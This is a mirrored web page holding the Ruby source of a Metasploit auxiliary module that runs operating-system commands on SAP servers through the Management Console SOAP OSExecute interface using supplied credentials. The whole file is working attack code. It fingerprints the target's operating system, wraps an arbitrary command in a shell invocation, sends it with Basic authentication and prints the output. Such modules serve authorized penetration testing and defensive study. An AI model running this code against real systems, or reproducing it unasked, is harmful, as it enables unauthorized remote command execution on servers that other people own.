CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/sap/sap_mgmt_con_osexec.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::HttpClient
8
include Msf::Auxiliary::Report
9
include Msf::Auxiliary::Scanner
10
11
def initialize
12
super(
13
'Name' => 'SAP Management Console OSExecute',
14
'Description' => %q{
15
This module allows execution of operating system commands through the SAP
16
Management Console SOAP Interface. A valid username and password must be
17
provided.
18
},
19
'References' =>
20
[
21
# General
22
[ 'URL', 'http://blog.c22.cc' ]
23
],
24
'Author' => [ 'Chris John Riley' ],
25
'License' => MSF_LICENSE
26
)
27
28
register_options(
29
[
30
Opt::RPORT(50013),
31
OptString.new('URI', [false, 'Path to the SAP Management Console ', '/']),
32
OptString.new('HttpUsername', [true, 'Username to use', '']),
33
OptString.new('HttpPassword', [true, 'Password to use', '']),
34
OptString.new('CMD', [true, 'Command to run', 'set']),
35
])
36
register_autofilter_ports([ 50013 ])
37
end
38
39
def run_host(ip)
40
# Check version information to confirm Win/Lin
41
42
soapenv='http://schemas.xmlsoap.org/soap/envelope/'
43
xsi='http://www.w3.org/2001/XMLSchema-instance'
44
xs='http://www.w3.org/2001/XMLSchema'
45
sapsess='http://www.sap.com/webas/630/soap/features/session/'
46
ns1='ns1:GetVersionInfo' # Using GetVersionInfo to enumerate target type
47
48
data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"
49
data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="' + soapenv
50
data << '" xmlns:xsi="' + xsi + '" xmlns:xs="' + xs + '">' + "\r\n"
51
data << '<SOAP-ENV:Header>' + "\r\n"
52
data << '<sapsess:Session xlmns:sapsess="' + sapsess + '">' + "\r\n"
53
data << '<enableSession>true</enableSession>' + "\r\n"
54
data << '</sapsess:Session>' + "\r\n"
55
data << '</SOAP-ENV:Header>' + "\r\n"
56
data << '<SOAP-ENV:Body>' + "\r\n"
57
data << '<'+ ns1 + ' xmlns:ns1="urn:SAPControl"></' + ns1 +'>' + "\r\n"
58
data << '</SOAP-ENV:Body>' + "\r\n"
59
data << '</SOAP-ENV:Envelope>' + "\r\n\r\n"
60
61
print_status("[SAP] Attempting to enumerate remote host type")
62
63
begin
64
res = send_request_raw({
65
'uri' => normalize_uri(datastore['URI']),
66
'method' => 'POST',
67
'data' => data,
68
'headers' =>
69
{
70
'Content-Length' => data.length,
71
'SOAPAction' => '""',
72
'Content-Type' => 'text/xml; charset=UTF-8',
73
}
74
}, 60)
75
76
rescue ::Rex::ConnectionError
77
print_error("#{rhost}:#{rport} [SAP] Unable to communicate")
78
return :abort
79
end
80
81
if not res
82
print_error("#{rhost}:#{rport} [SAP] Unable to connect")
83
return
84
elsif res.code == 200
85
body = res.body
86
if body.match(/linux/i)
87
print_status("[SAP] Linux target detected")
88
cmd_to_run = '/bin/sh -c ' + datastore['CMD']
89
elsif body.match(/NT/)
90
print_status("[SAP] Windows target detected")
91
cmd_to_run = 'cmd /c ' + datastore['CMD']
92
else
93
print_status("[SAP] Unknown target detected, defaulting to *nix syntax")
94
cmd_to_run = '/bin/sh -c ' + datastore['CMD']
95
end
96
end
97
98
osexecute(ip, cmd_to_run)
99
end
100
101
def osexecute(rhost, cmd_to_run)
102
103
print_status("[SAP] Connecting to SAP Management Console SOAP Interface on #{rhost}:#{rport}")
104
success = false
105
106
soapenv = 'http://schemas.xmlsoap.org/soap/envelope/'
107
xsi = 'http://www.w3.org/2001/XMLSchema-instance'
108
xs = 'http://www.w3.org/2001/XMLSchema'
109
sapsess = 'http://www.sap.com/webas/630/soap/features/session/'
110
ns1 = 'ns1:OSExecute'
111
112
data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"
113
data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="' + soapenv + '" xmlns:xsi="' + xsi
114
data << '" xmlns:xs="' + xs + '">' + "\r\n"
115
data << '<SOAP-ENV:Header>' + "\r\n"
116
data << '<sapsess:Session xlmns:sapsess="' + sapsess + '">' + "\r\n"
117
data << '<enableSession>true</enableSession>' + "\r\n"
118
data << '</sapsess:Session>' + "\r\n"
119
data << '</SOAP-ENV:Header>' + "\r\n"
120
data << '<SOAP-ENV:Body>' + "\r\n"
121
data << '<' + ns1 + ' xmlns:ns1="urn:SAPControl"><command>' + cmd_to_run
122
data << '</command><async>0</async></' + ns1 + '>' + "\r\n"
123
data << '</SOAP-ENV:Body>' + "\r\n"
124
data << '</SOAP-ENV:Envelope>' + "\r\n\r\n"
125
126
user_pass = Rex::Text.encode_base64(datastore['HttpUsername'] + ":" + datastore['HttpPassword'])
127
128
begin
129
res = send_request_raw({
130
'uri' => normalize_uri(datastore['URI']),
131
'method' => 'POST',
132
'data' => data,
133
'headers' =>
134
{
135
'Content-Length' => data.length,
136
'SOAPAction' => '""',
137
'Authorization' => 'Basic ' + user_pass,
138
'Content-Type' => 'text/xml; charset=UTF-8',
139
}
140
}, 60)
141
142
if res and res.code == 200
143
success = true
144
body = CGI::unescapeHTML(res.body)
145
if body.match(/<exitcode>(.*)<\/exitcode>/i)
146
exitcode = $1.to_i
147
end
148
if body.match(/<pid>(.*)<\/pid>/i)
149
pid = $1.strip
150
end
151
if body.match(/<lines>(.*)<\/lines>/i)
152
items = body.scan(/<item>(.*?)<\/item>/i)
153
end
154
elsif res and res.code == 500
155
case res.body
156
when /<faultstring>(.*)<\/faultstring>/i
157
faultcode = "#{$1}"
158
fault = true
159
end
160
else
161
print_error("#{rhost}:#{rport} [SAP] Unknown response received")
162
return
163
end
164
165
rescue ::Rex::ConnectionError
166
print_error("#{rhost}:#{rport} [SAP] Unable to attempt authentication")
167
return :abort
168
end
169
170
if success
171
if exitcode > 0
172
print_error("#{rhost}:#{rport} [SAP] Command exitcode: #{exitcode}")
173
else
174
print_good("#{rhost}:#{rport} [SAP] Command exitcode: #{exitcode}")
175
end
176
177
saptbl = Msf::Ui::Console::Table.new(
178
Msf::Ui::Console::Table::Style::Default,
179
'Header' => '[SAP] OSExecute',
180
'Prefix' => "\n",
181
'Columns' => [ 'Command output' ]
182
)
183
184
items.each do |output|
185
saptbl << [ output[0] ]
186
end
187
188
print_good("#{rhost}:#{rport} [SAP] Command (#{cmd_to_run}) ran as PID: #{pid}\n#{saptbl.to_s}")
189
190
elsif fault
191
print_error("#{rhost}:#{rport} [SAP] Error code: #{faultcode}")
192
return
193
else
194
print_error("#{rhost}:#{rport} [SAP] failed to run command")
195
return
196
end
197
end
198
end
199
200